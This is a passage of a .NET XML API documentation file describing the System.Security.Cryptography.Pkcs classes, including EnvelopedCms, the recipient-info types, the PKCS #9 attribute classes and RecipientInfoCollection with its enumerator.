<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> method encrypts the contents of the CMS/PKCS #7 message by using the specified recipient information.</summary>
<param name="recipient">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the recipient information.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipientCollection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipientCollection)"></see> method encrypts the contents of the CMS/PKCS #7 message by using the information for the specified list of recipients. The message is encrypted by using a message encryption key with a symmetric encryption algorithm such as triple DES. The message encryption key is then encrypted with the public key of each recipient.</summary>
<param name="recipients">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection that represents the information for the list of recipients.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.RecipientInfos">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.RecipientInfos"></see> property retrieves the recipient information associated with the enveloped CMS/PKCS #7 message.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection that represents the recipient information. If no recipients exist, the property value is an empty collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.UnprotectedAttributes">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.UnprotectedAttributes"></see> property retrieves the unprotected (unencrypted) attributes associated with the enveloped CMS/PKCS #7 message. Unprotected attributes are not encrypted, and so do not have data confidentiality within an <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> object.</summary>
<returns>A <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection that represents the unprotected attributes. If no unprotected attributes exist, the property value is an empty collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Version"></see> property retrieves the version of the enveloped CMS/PKCS #7 message.</summary>
<returns>An int value that represents the version of the enveloped CMS/PKCS #7 message.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo"></see> class defines key agreement recipient information. Key agreement algorithms typically use the Diffie-Hellman key agreement algorithm, in which the two parties that establish a shared cryptographic key both take part in its generation and, by definition, agree on that key. This is in contrast to key transport algorithms, in which one party generates the key unilaterally and sends, or transports it, to the other party.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Date">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Date"></see> property retrieves the date and time of the start of the key agreement protocol by the originator.</summary>
<returns>The date and time of the start of the key agreement protocol by the originator.</returns>
<exception cref="T:System.InvalidOperationException">The recipient identifier type is not a subject key identifier.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.EncryptedKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.EncryptedKey"></see> property retrieves the encrypted recipient keying material.</summary>
<returns>An array of byte values that contain the encrypted recipient keying material.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.KeyEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.KeyEncryptionAlgorithm"></see> property retrieves the algorithm used to perform the key agreement.</summary>
<returns>The value of the algorithm used to perform the key agreement.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OriginatorIdentifierOrKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OriginatorIdentifierOrKey"></see> property retrieves information about the originator of the key agreement for key agreement algorithms that warrant it.</summary>
<returns>An object that contains information about the originator of the key agreement.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OtherKeyAttribute">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OtherKeyAttribute"></see> property retrieves attributes of the keying material.</summary>
<returns>The attributes of the keying material.</returns>
<exception cref="T:System.InvalidOperationException">The recipient identifier type is not a subject key identifier.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.RecipientIdentifier">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.RecipientIdentifier"></see> property retrieves the identifier of the recipient.</summary>
<returns>The identifier of the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Version"></see> property retrieves the version of the key agreement recipient. This is automatically set for objects in this class, and the value implies that the recipient is taking part in a key agreement algorithm.</summary>
<returns>The version of the <see cref="System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo"></see> class defines key transport recipient information. Key transport algorithms typically use the RSA algorithm, in which an originator establishes a shared cryptographic key with a recipient by generating that key and then transporting it to the recipient. This is in contrast to key agreement algorithms, in which the two parties that will be using a cryptographic key both take part in its generation, thereby mutually agreeing to that key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.EncryptedKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.EncryptedKey"></see> property retrieves the encrypted key for this key transport recipient.</summary>
<returns>An array of byte values that represents the encrypted key.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.KeyEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.KeyEncryptionAlgorithm"></see> property retrieves the key encryption algorithm used to encrypt the content encryption key.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that stores the key encryption algorithm identifier.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.RecipientIdentifier">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.RecipientIdentifier"></see> property retrieves the subject identifier associated with the encrypted content.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier"></see> object that stores the identifier of the recipient taking part in the key transport.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.Version"></see> property retrieves the version of the key transport recipient. The version of the key transport recipient is automatically set for objects in this class, and the value implies that the recipient is taking part in a key transport algorithm.</summary>
<returns>An int value that represents the version of the key transport <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject">
<summary>Represents an attribute used for CMS/PKCS #7 and PKCS #9 operations.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor(System.Security.Cryptography.AsnEncodedData)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class using a specified <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object as its attribute type and value.</summary>
<param name="asnEncodedData">An object that contains the PKCS #9 attribute type and value to use.</param>
<exception cref="T:System.ArgumentException">The length of the <paramref name="Value">Value</paramref> member of the <paramref name="Oid">Oid</paramref> member of <paramref name="asnEncodedData">asnEncodedData</paramref> is zero.</exception>
<exception cref="T:System.ArgumentNullException">The <paramref name="Oid">Oid</paramref> member of <paramref name="asnEncodedData">asnEncodedData</paramref> is null.
-or-
The <paramref name="Value">Value</paramref> member of the <paramref name="Oid">Oid</paramref> member of <paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor(System.Security.Cryptography.Oid,System.Byte[])">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class using a specified <see cref="T:System.Security.Cryptography.Oid"></see> object as the attribute type and a specified ASN.1 encoded data as the attribute value.</summary>
<param name="oid">An object that represents the PKCS #9 attribute type.</param>
<param name="encodedData">An array of byte values that represents the PKCS #9 attribute value.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor(System.String,System.Byte[])">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class using a specified string representation of an object identifier (OID) as the attribute type and a specified ASN.1 encoded data as the attribute value.</summary>
<param name="oid">The string representation of an OID that represents the PKCS #9 attribute type.</param>
<param name="encodedData">An array of byte values that contains the PKCS #9 attribute value.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies a PKCS #9 attribute type and value for this <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> from the specified <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">An object that contains the PKCS #9 attribute type and value to use.</param>
<exception cref="T:System.ArgumentException"><paramref name="asnEncodeData">asnEncodeData</paramref> does not represent a compatible attribute type.</exception>
<exception cref="T:System.ArgumentNullException"><paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.Oid">
<summary>Gets an <see cref="T:System.Security.Cryptography.Oid"></see> object that represents the type of attribute associated with this <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> object.</summary>
<returns>An object that represents the type of attribute associated with this <see cref="System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9ContentType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9ContentType"></see> class defines the type of the content of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9ContentType.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9ContentType.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9ContentType"></see> class.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9ContentType.ContentType">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9ContentType.ContentType"></see> property gets an <see cref="T:System.Security.Cryptography.Oid"></see> object that contains the content type.</summary>
<returns>An <see cref="System.Security.Cryptography.Oid"></see> object that contains the content type.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9ContentType.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class defines the description of the content of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class by using the specified array of byte values as the encoded description of the content of a CMS/PKCS #7 message.</summary>
<param name="encodedDocumentDescription">An array of byte values that specifies the encoded description of the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.String)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.String)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class by using the specified description of the content of a CMS/PKCS #7 message.</summary>
<param name="documentDescription">An instance of the <see cref="T:System.String"></see> class that specifies the description for the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.DocumentDescription">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.DocumentDescription"></see> property retrieves the document description.</summary>
<returns>A <see cref="System.String"></see> object that contains the document description.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class defines the name of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class by using the specified array of byte values as the encoded name of the content of a CMS/PKCS #7 message.</summary>
<param name="encodedDocumentName">An array of byte values that specifies the encoded name of the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.String)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.String)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class by using the specified name for the CMS/PKCS #7 message.</summary>
<param name="documentName">A <see cref="T:System.String"></see> object that specifies the name for the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.DocumentName">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.DocumentName"></see> property retrieves the document name.</summary>
<returns>A <see cref="System.String"></see> object that contains the document name.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest"></see> class defines the message digest of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.MessageDigest">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.MessageDigest"></see> property retrieves the message digest.</summary>
<returns>An array of byte values that contains the message digest.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class defines the signing date and time of a signature. A <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> object can be used as an authenticated attribute of a <see cref="T:System.Security.Cryptography.Pkcs.CmsSigner"></see> object when an authenticated date and time are to accompany a digital signature.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class by using the specified array of byte values as the encoded signing date and time of the content of a CMS/PKCS #7 message.</summary>
<param name="encodedSigningTime">An array of byte values that specifies the encoded signing date and time of the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.DateTime)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.DateTime)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class by using the specified signing date and time.</summary>
<param name="signingTime">A <see cref="T:System.DateTime"></see> structure that represents the signing date and time of the signature.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from a <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.SigningTime">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.SigningTime"></see> property retrieves a <see cref="T:System.DateTime"></see> structure that represents the date and time that the message was signed.</summary>
<returns>A <see cref="System.DateTime"></see> structure that contains the date and time the document was signed.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.PublicKeyInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.PublicKeyInfo"></see> class represents information associated with a public key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.Algorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.Algorithm"></see> property retrieves the algorithm identifier associated with the public key.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that represents the algorithm.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.KeyValue">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.KeyValue"></see> property retrieves the value of the encoded public component of the public key pair.</summary>
<returns>An array of byte values that represents the encoded public component of the public key pair.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> class represents information about a CMS/PKCS #7 message recipient. The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> class is an abstract class inherited by the <see cref="T:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo"></see> and <see cref="T:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo"></see> classes.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.EncryptedKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.EncryptedKey"></see> abstract property retrieves the encrypted recipient keying material.</summary>
<returns>An array of byte values that contain the encrypted recipient keying material.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.KeyEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.KeyEncryptionAlgorithm"></see> abstract property retrieves the algorithm used to perform the key establishment.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that contains the value of the algorithm used to establish the key between the originator and recipient of the CMS/PKCS #7 message.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.RecipientIdentifier">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.RecipientIdentifier"></see> abstract property retrieves the identifier of the recipient.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier"></see> object that contains the identifier of the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.Type">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.Type"></see> property retrieves the type of the recipient. The type of the recipient determines which of two major protocols is used to establish a key between the originator and the recipient of a CMS/PKCS #7 message.</summary>
<returns>A value of the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoType"></see> enumeration that defines the type of the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.Version"></see> abstract property retrieves the version of the recipient information. Derived classes automatically set this property for their objects, and the value indicates whether it is using PKCS #7 or Cryptographic Message Syntax (CMS) to protect messages. The version also implies whether the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object establishes a cryptographic key by a key agreement algorithm or a key transport algorithm.</summary>
<returns>An <see cref="System.Int32"></see> value that represents the version of the <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> class represents a collection of <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> objects. <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> implements the <see cref="T:System.Collections.ICollection"></see> interface.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Array,System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Array,System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection to an array.</summary>
<param name="array">An <see cref="T:System.Array"></see> object to which the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index in array where the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">One of the arguments provided to a method was not valid.</exception>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Security.Cryptography.Pkcs.RecipientInfo[],System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Security.Cryptography.Pkcs.RecipientInfo[],System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection to a <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> array.</summary>
<param name="array">An array of <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> objects where the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index in array where the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">One of the arguments provided to a method was not valid.</exception>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Count">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Count"></see> property retrieves the number of items in the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>An int value that represents the number of items in the collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.GetEnumerator">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Item(System.Int32)">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Item(System.Int32)"></see> property retrieves the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object at the specified index in the collection.</summary>
<param name="index">An int value that represents the index in the collection. The index is zero based.</param>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object at the specified index.</returns>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#ICollection#IsSynchronized">
<returns></returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#ICollection#SyncRoot">
<returns></returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#IEnumerable#GetEnumerator">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#IEnumerable#GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> class provides enumeration functionality for the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection. <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> implements the <see cref="T:System.Collections.IEnumerator"></see> interface.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the current recipient information structure in the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.MoveNext">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.MoveNext"></see> method advances the enumeration to the next <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>This method returns a bool that specifies whether the enumeration successfully advanced. If the enumeration successfully moved to the next <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object, the method returns true. If the enumeration moved past the last item in the enumeration, it returns false.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Reset">
